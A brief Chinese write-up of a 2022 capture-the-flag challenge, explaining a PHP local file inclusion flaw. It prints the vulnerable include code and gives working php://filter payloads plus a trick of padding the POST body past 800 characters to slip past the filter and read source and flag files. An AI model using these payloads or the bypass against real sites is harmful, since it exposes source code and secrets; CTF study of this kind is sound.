[鹏城杯 2022]简单包含

POC&EXP

这是一道简单包含题,考察了php://filter和代码审计

首先可以构造payload:flag=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php获得源码 

接着代码审计

<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

发现当post的数据大小超过800字时就不会出现进入if,而是会进入else,并成功出发文件包含

接着构造如下的payload即可:${800个任意字符}&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php即可获得flag